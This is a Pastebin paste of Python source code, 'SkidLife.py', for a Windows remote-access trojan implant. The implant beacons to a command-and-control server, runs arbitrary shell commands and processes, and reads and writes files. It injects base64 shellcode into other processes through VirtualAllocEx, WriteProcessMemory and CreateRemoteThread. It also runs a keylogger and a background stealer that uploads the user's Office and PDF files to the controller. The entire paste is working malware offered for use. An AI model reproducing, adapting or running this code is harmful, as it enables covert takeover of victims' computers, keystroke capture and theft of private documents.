WhosYourDaddySec

SkidLife.py

Oct 29th, 2025
80
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 17.58 KB | None | 0 0
  1. import argparse
  2. import base64
  3. import ctypes
  4. import ctypes.wintypes
  5. import hashlib
  6. import json
  7. import os
  8. import ssl
  9. import subprocess
  10. import sys
  11. import threading
  12. import time
  13. import uuid
  14. from http.client import HTTPSConnection
  15. from typing import Dict, Any, Optional, List
  16. DEFAULT_C2_HOST = "127.0.0.1"
  17. DEFAULT_C2_PORT = 8443
  18. DEFAULT_C2_PATH = "/cmd"
  19. BEACON_INTERVAL = 10
  20. AGENT_ID = str(uuid.getnode())
  21. TASKS: Dict[str, Any] = {}
  22. TASK_LOCK = threading.Lock()
  23. KEYLOGGER_ACTIVE = False
  24. KEYLOGGER_THREAD: Optional[threading.Thread] = None
  25. FILE_STEALER_ACTIVE = False
  26. FILE_STEALER_THREAD: Optional[threading.Thread] = None
  27. STEAL_EXTS = {".doc", ".xls", ".ppt", ".rtf", ".pdf", ".docx", ".xlsx", ".pptx"}
  28. STEAL_ROOT = os.path.expanduser("~")
  29. STEAL_QUEUE: List[str] = []
  30. STEAL_LOCK = threading.Lock()
  31. UPLOAD_CHUNK_SIZE = 1024 * 1024
  32. COMMANDS = {
  33.     0xC033A4D: "COMMAND",
  34.     0xECEC:    "EXEC",
  35.     0x6E17A585:"GETTASKS",
  36.     0x6177:    "KILL",
  37.     0xF17E09:  "FILE_WRITE",
  38.     0xF17ED0:  "FILE_READ",
  39.     0x1213C7:  "INJECT",
  40.     0xC04F:    "CONF",
  41.     0xD1E:     "DIE",
  42.     0xCD:      "CD",
  43.     0x108:     "JOB",
  44. }
  45. def log(msg: str) -> None:
  46.     print(f"[{time.strftime('%H:%M:%S')}] {msg}")
  47. def compute_checksum(data: bytes) -> str:
  48.     return hashlib.sha256(data).hexdigest()
  49. def safe_path(path: str) -> str:
  50.     abs_path = os.path.abspath(path)
  51.     cwd = os.path.abspath(os.getcwd())
  52.     if not abs_path.startswith(cwd):
  53.         raise PermissionError("Path traversal blocked")
  54.     return abs_path
  55. def handle_COMMAND(payload: Dict[str, Any]) -> Dict[str, Any]:
  56.     cmd = payload.get("cmd", "").strip()
  57.     if not cmd:
  58.         return {"status": "error", "msg": "empty cmd"}
  59.     log(f"Executing (cmd.exe): {cmd}")
  60.     try:
  61.         result = subprocess.run(
  62.             ["cmd.exe", "/c", cmd],
  63.             capture_output=True,
  64.             text=True,
  65.             timeout=120,
  66.             cwd=os.getcwd(),
  67.             shell=True,
  68.         )
  69.         return {
  70.             "status": "ok",
  71.             "stdout": result.stdout[-8000:],
  72.             "stderr": result.stderr[-4000:],
  73.             "returncode": result.returncode,
  74.         }
  75.     except subprocess.TimeoutExpired:
  76.         return {"status": "error", "msg": "command timeout"}
  77.     except Exception as e:
  78.         return {"status": "error", "msg": str(e)}
  79. def handle_EXEC(payload: Dict[str, Any]) -> Dict[str, Any]:
  80.     exe = payload.get("exe", "").strip()
  81.     args = payload.get("args", [])
  82.     if not exe:
  83.         return {"status": "error", "msg": "missing exe"}
  84.     full_cmd = [exe] + [str(a) for a in args]
  85.     log(f"Executing process: {' '.join(full_cmd)}")
  86.     try:
  87.         proc = subprocess.Popen(
  88.             full_cmd,
  89.             stdout=subprocess.PIPE,
  90.             stderr=subprocess.PIPE,
  91.             text=True,
  92.             cwd=os.getcwd(),
  93.         )
  94.         task_id = str(uuid.uuid4())
  95.         with TASK_LOCK:
  96.             TASKS[task_id] = {"proc": proc, "thread": None}
  97.             thread = threading.Thread(target=_wait_and_store, args=(proc, task_id), daemon=True)
  98.             thread.start()
  99.             TASKS[task_id]["thread"] = thread
  100.         return {"status": "ok", "task_id": task_id}
  101.     except Exception as e:
  102.         return {"status": "error", "msg": str(e)}
  103. def _wait_and_store(proc: subprocess.Popen, task_id: str) -> None:
  104.     try:
  105.         stdout, stderr = proc.communicate(timeout=600)
  106.     except subprocess.TimeoutExpired:
  107.         proc.kill()
  108.         stdout, stderr = proc.communicate()
  109.     with TASK_LOCK:
  110.         if task_id in TASKS:
  111.             TASKS[task_id] = {
  112.                 "returncode": proc.returncode,
  113.                 "stdout": stdout[-8000:] if stdout else "",
  114.                 "stderr": stderr[-4000:] if stderr else "",
  115.                 "finished": True,
  116.             }
  117. def handle_GETTASKS(_: Any) -> Dict[str, Any]:
  118.     result = {}
  119.     with TASK_LOCK:
  120.         for tid, obj in TASKS.items():
  121.             if isinstance(obj, dict) and obj.get("finished"):
  122.                 result[tid] = {
  123.                     "finished": True,
  124.                     "returncode": obj["returncode"],
  125.                 }
  126.             else:
  127.                 result[tid] = {"finished": False}
  128.     return {"status": "ok", "tasks": result}
  129. def handle_KILL(payload: Dict[str, Any]) -> Dict[str, Any]:
  130.     tid = payload.get("task_id")
  131.     if not tid:
  132.         return {"status": "error", "msg": "missing task_id"}
  133.     with TASK_LOCK:
  134.         task = TASKS.get(tid)
  135.         if not task:
  136.             return {"status": "error", "msg": "unknown task"}
  137.         if isinstance(task, dict) and "proc" in task:
  138.             proc = task["proc"]
  139.             if proc.poll() is None:
  140.                 proc.terminate()
  141.                 try:
  142.                     proc.wait(timeout=5)
  143.                 except subprocess.TimeoutExpired:
  144.                     proc.kill()
  145.             del TASKS[tid]
  146.             return {"status": "ok"}
  147.         elif tid in TASKS:
  148.             del TASKS[tid]
  149.             return {"status": "ok"}
  150.     return {"status": "error", "msg": "task not killable"}
  151. def handle_FILE_WRITE(payload: Dict[str, Any]) -> Dict[str, Any]:
  152.     path = payload.get("path", "").strip()
  153.     data_b64 = payload.get("data", "")
  154.     append = bool(payload.get("append", False))
  155.     if not path or not data_b64:
  156.         return {"status": "error", "msg": "missing fields"}
  157.     try:
  158.         safe_p = safe_path(path)
  159.         data = base64.b64decode(data_b64)
  160.         mode = "ab" if append else "wb"
  161.         with open(safe_p, mode) as f:
  162.             f.write(data)
  163.         return {"status": "ok", "checksum": compute_checksum(data), "size": len(data)}
  164.     except Exception as e:
  165.         return {"status": "error", "msg": str(e)}
  166. def handle_FILE_READ(payload: Dict[str, Any]) -> Dict[str, Any]:
  167.     path = payload.get("path", "").strip()
  168.     offset = payload.get("offset", 0)
  169.     length = payload.get("length", 0)
  170.     if not path:
  171.         return {"status": "error", "msg": "missing path"}
  172.     try:
  173.         safe_p = safe_path(path)
  174.         with open(safe_p, "rb") as f:
  175.             if offset:
  176.                 f.seek(offset)
  177.             data = f.read(length) if length else f.read()
  178.         return {
  179.             "status": "ok",
  180.             "data": base64.b64encode(data).decode(),
  181.             "checksum": compute_checksum(data),
  182.             "size": len(data),
  183.             "offset": offset,
  184.             "total_size": os.path.getsize(safe_p),
  185.         }
  186.     except Exception as e:
  187.         return {"status": "error", "msg": str(e)}
  188. def handle_INJECT(payload: Dict[str, Any]) -> Dict[str, Any]:
  189.     shellcode_b64 = payload.get("shellcode", "")
  190.     pid = payload.get("pid")
  191.     if not shellcode_b64 or pid is None:
  192.         return {"status": "error", "msg": "missing shellcode or pid"}
  193.     try:
  194.         shellcode = base64.b64decode(shellcode_b64)
  195.         if len(shellcode) == 0:
  196.             return {"status": "error", "msg": "empty shellcode"}
  197.         process = ctypes.windll.kernel32.OpenProcess(0x1F0FFF, False, pid)
  198.         if not process:
  199.             return {"status": "error", "msg": f"OpenProcess failed: {ctypes.GetLastError()}"}
  200.         addr = ctypes.windll.kernel32.VirtualAllocEx(
  201.             process, 0, len(shellcode), 0x3000, 0x40
  202.         )
  203.         if not addr:
  204.             err = ctypes.GetLastError()
  205.             ctypes.windll.kernel32.CloseHandle(process)
  206.             return {"status": "error", "msg": f"VirtualAllocEx failed: {err}"}
  207.         written = ctypes.wintypes.SIZE_T()
  208.         success = ctypes.windll.kernel32.WriteProcessMemory(
  209.             process, addr, shellcode, len(shellcode), ctypes.byref(written)
  210.         )
  211.         if not success or written.value != len(shellcode):
  212.             err = ctypes.GetLastError()
  213.             ctypes.windll.kernel32.CloseHandle(process)
  214.             return {"status": "error", "msg": f"WriteProcessMemory failed: {err}"}
  215.         hThread = ctypes.windll.kernel32.CreateRemoteThread(
  216.             process, None, 0, addr, None, 0, None
  217.         )
  218.         ctypes.windll.kernel32.CloseHandle(process)
  219.         if not hThread:
  220.             return {"status": "error", "msg": f"CreateRemoteThread failed: {ctypes.GetLastError()}"}
  221.         return {"status": "ok", "injected": True, "thread_id": hThread}
  222.     except Exception as e:
  223.         return {"status": "error", "msg": f"inject failed: {e}"}
  224. def handle_CONF(payload: Dict[str, Any]) -> Dict[str, Any]:
  225.     global DEFAULT_C2_HOST, DEFAULT_C2_PORT, DEFAULT_C2_PATH, BEACON_INTERVAL
  226.     host = payload.get("host")
  227.     port = payload.get("port")
  228.     path = payload.get("path")
  229.     interval = payload.get("interval")
  230.     if host and isinstance(host, str): DEFAULT_C2_HOST = host.strip()
  231.     if port and isinstance(port, int): DEFAULT_C2_PORT = port
  232.     if path and isinstance(path, str): DEFAULT_C2_PATH = path.strip()
  233.     if interval and isinstance(interval, int): BEACON_INTERVAL = max(1, interval)
  234.     return {"status": "ok", "new_cfg": {
  235.         "host": DEFAULT_C2_HOST,
  236.         "port": DEFAULT_C2_PORT,
  237.         "path": DEFAULT_C2_PATH,
  238.         "interval": BEACON_INTERVAL,
  239.     }}
  240. def handle_DIE(_: Any) -> Dict[str, Any]:
  241.     log("DIE command received – shutting down")
  242.     stop_background_jobs()
  243.     time.sleep(1)
  244.     os._exit(0)
  245. def handle_CD(payload: Dict[str, Any]) -> Dict[str, Any]:
  246.     path = payload.get("path", "").strip()
  247.     if not path:
  248.         return {"status": "error", "msg": "missing path"}
  249.     try:
  250.         safe_p = safe_path(path)
  251.         os.chdir(safe_p)
  252.         return {"status": "ok", "cwd": os.getcwd()}
  253.     except Exception as e:
  254.         return {"status": "error", "msg": str(e)}
  255. def handle_JOB(payload: Dict[str, Any]) -> Dict[str, Any]:
  256.     global KEYLOGGER_ACTIVE, FILE_STEALER_ACTIVE
  257.     action = payload.get("action", "").lower()
  258.     job_type = payload.get("type", "").lower()
  259.     if action == "start":
  260.         if job_type == "keylog":
  261.             if not KEYLOGGER_ACTIVE:
  262.                 start_keylogger()
  263.             return {"status": "ok", "job": "keylogger started"}
  264.         elif job_type == "steal":
  265.             root = payload.get("root", STEAL_ROOT)
  266.             if not FILE_STEALER_ACTIVE:
  267.                 start_file_stealer(root)
  268.             return {"status": "ok", "job": "file stealer started"}
  269.     elif action == "stop":
  270.         if job_type == "keylog" and KEYLOGGER_ACTIVE:
  271.             stop_keylogger()
  272.             return {"status": "ok", "job": "keylogger stopped"}
  273.         elif job_type == "steal" and FILE_STEALER_ACTIVE:
  274.             stop_file_stealer()
  275.             return {"status": "ok", "job": "file stealer stopped"}
  276.     return {"status": "error", "msg": "invalid job"}
  277. def start_keylogger() -> None:
  278.     global KEYLOGGER_ACTIVE, KEYLOGGER_THREAD
  279.     KEYLOGGER_ACTIVE = True
  280.     KEYLOGGER_THREAD = threading.Thread(target=_keylogger_worker, daemon=True)
  281.     KEYLOGGER_THREAD.start()
  282.     log("Keylogger started")
  283. def stop_keylogger() -> None:
  284.     global KEYLOGGER_ACTIVE
  285.     KEYLOGGER_ACTIVE = False
  286.     log("Keylogger stopped")
  287. def _keylogger_worker() -> None:
  288.     try:
  289.         import pythoncom
  290.         import pyHook
  291.         import win32api
  292.     except ImportError:
  293.         log("Keylogger dependencies missing")
  294.         return
  295.     def on_keyboard_event(event):
  296.         if not KEYLOGGER_ACTIVE:
  297.             return False
  298.         key = event.Key
  299.         if key not in ["Lshift", "Rshift", "Capital", "Lcontrol", "Rcontrol", "Lmenu", "Rmenu"]:
  300.             log(f"KEY: {key}")
  301.         return True
  302.     hm = pyHook.HookManager()
  303.     hm.KeyDown = on_keyboard_event
  304.     hm.HookKeyboard()
  305.     while KEYLOGGER_ACTIVE:
  306.         try:
  307.             pythoncom.PumpMessages(0.1)
  308.         except:
  309.             break
  310.     hm.UnhookKeyboard()
  311. def start_file_stealer(root: str) -> None:
  312.     global FILE_STEALER_ACTIVE, FILE_STEALER_THREAD, STEAL_ROOT
  313.     STEAL_ROOT = root
  314.     FILE_STEALER_ACTIVE = True
  315.     FILE_STEALER_THREAD = threading.Thread(target=_file_stealer_worker, daemon=True)
  316.     FILE_STEALER_THREAD.start()
  317.     log(f"File stealer started: {root}")
  318. def stop_file_stealer() -> None:
  319.     global FILE_STEALER_ACTIVE
  320.     FILE_STEALER_ACTIVE = False
  321.     log("File stealer stopped")
  322. def _file_stealer_worker() -> None:
  323.     while FILE_STEALER_ACTIVE:
  324.         found = []
  325.         for root, _, files in os.walk(STEAL_ROOT):
  326.             if not FILE_STEALER_ACTIVE:
  327.                 break
  328.             for f in files:
  329.                 if any(f.lower().endswith(ext) for ext in STEAL_EXTS):
  330.                     full_path = os.path.join(root, f)
  331.                     if full_path not in STEAL_QUEUE:
  332.                         found.append(full_path)
  333.         for path in found:
  334.             if not FILE_STEALER_ACTIVE:
  335.                 break
  336.             with STEAL_LOCK:
  337.                 if path not in STEAL_QUEUE:
  338.                     STEAL_QUEUE.append(path)
  339.             upload_file_in_chunks(path)
  340.         time.sleep(60)
  341. def upload_file_in_chunks(path: str) -> None:
  342.     try:
  343.         size = os.path.getsize(path)
  344.         if size > 50 * 1024 * 1024:
  345.             log(f"Skipping large file: {path}")
  346.             return
  347.         conn = HTTPSConnection(DEFAULT_C2_HOST, DEFAULT_C2_PORT, context=ssl._create_unverified_context(), timeout=30)
  348.         with open(path, "rb") as f:
  349.             chunk_id = 0
  350.             while True:
  351.                 data = f.read(UPLOAD_CHUNK_SIZE)
  352.                 if not data:
  353.                     break
  354.                 payload = {
  355.                     "agent_id": AGENT_ID,
  356.                     "type": "file_chunk",
  357.                     "path": path,
  358.                     "chunk_id": chunk_id,
  359.                     "total_size": size,
  360.                     "data": base64.b64encode(data).decode(),
  361.                 }
  362.                 headers = {"Content-Type": "application/json"}
  363.                 conn.request("POST", DEFAULT_C2_PATH + "/upload", json.dumps(payload).encode(), headers)
  364.                 resp = conn.getresponse()
  365.                 resp.read()
  366.                 chunk_id += 1
  367.         conn.close()
  368.         log(f"Uploaded: {path}")
  369.     except Exception as e:
  370.         log(f"Upload failed {path}: {e}")
  371. def stop_background_jobs() -> None:
  372.     global KEYLOGGER_ACTIVE, FILE_STEALER_ACTIVE
  373.     KEYLOGGER_ACTIVE = False
  374.     FILE_STEALER_ACTIVE = False
  375.     time.sleep(1)
  376. HANDLERS = {
  377.     "COMMAND": handle_COMMAND,
  378.     "EXEC": handle_EXEC,
  379.     "GETTASKS": handle_GETTASKS,
  380.     "KILL": handle_KILL,
  381.     "FILE_WRITE": handle_FILE_WRITE,
  382.     "FILE_READ": handle_FILE_READ,
  383.     "INJECT": handle_INJECT,
  384.     "CONF": handle_CONF,
  385.     "DIE": handle_DIE,
  386.     "CD": handle_CD,
  387.     "JOB": handle_JOB,
  388. }
  389. def dispatch(opcode: int, payload: Dict[str, Any]) -> Dict[str, Any]:
  390.     cmd_name = COMMANDS.get(opcode)
  391.     if not cmd_name:
  392.         return {"status": "error", "msg": f"unknown opcode 0x{opcode:08X}"}
  393.     handler = HANDLERS.get(cmd_name)
  394.     if not handler:
  395.         return {"status": "error", "msg": f"no handler for {cmd_name}"}
  396.     return handler(payload)
  397. def beacon(conn: HTTPSConnection) -> Optional[Dict[str, Any]]:
  398.     headers = {
  399.         "User-Agent": "EduAgent/1.0",
  400.         "X-Agent-ID": AGENT_ID,
  401.         "Content-Type": "application/json",
  402.     }
  403.     body = json.dumps({
  404.         "agent_id": AGENT_ID,
  405.         "cwd": os.getcwd(),
  406.         "timestamp": int(time.time()),
  407.         "tasks": len(TASKS),
  408.         "hostname": os.getenv("COMPUTERNAME", "unknown"),
  409.     }).encode()
  410.     try:
  411.         conn.request("POST", DEFAULT_C2_PATH, body=body, headers=headers)
  412.         resp = conn.getresponse()
  413.         if resp.status != 200:
  414.             return None
  415.         data = resp.read()
  416.         return json.loads(data.decode())
  417.     except Exception as e:
  418.         log(f"Beacon error: {e}")
  419.         return None
  420. def send_result(conn: HTTPSConnection, task_id: str, result: Dict[str, Any]) -> None:
  421.     payload = {
  422.         "agent_id": AGENT_ID,
  423.         "task_id": task_id,
  424.         "result": result,
  425.         "timestamp": int(time.time()),
  426.     }
  427.     headers = {"Content-Type": "application/json"}
  428.     try:
  429.         conn.request("POST", DEFAULT_C2_PATH + "/result", json.dumps(payload).encode(), headers)
  430.         conn.getresponse().read()
  431.     except Exception:
  432.         pass
  433. def main() -> None:
  434.     parser = argparse.ArgumentParser()
  435.     parser.add_argument("--host", default=DEFAULT_C2_HOST)
  436.     parser.add_argument("--port", type=int, default=DEFAULT_C2_PORT)
  437.     parser.add_argument("--path", default=DEFAULT_C2_PATH)
  438.     parser.add_argument("--id", type=str, help="Custom agent ID")
  439.     args = parser.parse_args()
  440.     global DEFAULT_C2_HOST, DEFAULT_C2_PORT, DEFAULT_C2_PATH, AGENT_ID
  441.     DEFAULT_C2_HOST = args.host
  442.     DEFAULT_C2_PORT = args.port
  443.     DEFAULT_C2_PATH = args.path
  444.     if args.id:
  445.         AGENT_ID = args.id
  446.     ctx = ssl._create_unverified_context()
  447.     log(f"Agent {AGENT_ID} starting – https://{DEFAULT_C2_HOST}:{DEFAULT_C2_PORT}{DEFAULT_C2_PATH}")
  448.     while True:
  449.         conn = HTTPSConnection(DEFAULT_C2_HOST, DEFAULT_C2_PORT, context=ctx, timeout=30)
  450.         try:
  451.             cmd_packet = beacon(conn)
  452.             if cmd_packet and "opcode" in cmd_packet:
  453.                 opcode = cmd_packet["opcode"]
  454.                 task_id = cmd_packet.get("task_id", str(uuid.uuid4()))
  455.                 payload = cmd_packet.get("payload", {})
  456.                 result = dispatch(opcode, payload)
  457.                 send_result(conn, task_id, result)
  458.             else:
  459.                 time.sleep(BEACON_INTERVAL)
  460.         except KeyboardInterrupt:
  461.             log("Interrupted")
  462.             stop_background_jobs()
  463.             break
  464.         except Exception as e:
  465.             log(f"Loop error: {e}")
  466.             time.sleep(BEACON_INTERVAL)
  467.         finally:
  468.             conn.close()
  469. if __name__ == "__main__":
  470.     main()
Add Comment
Please, Sign In to add comment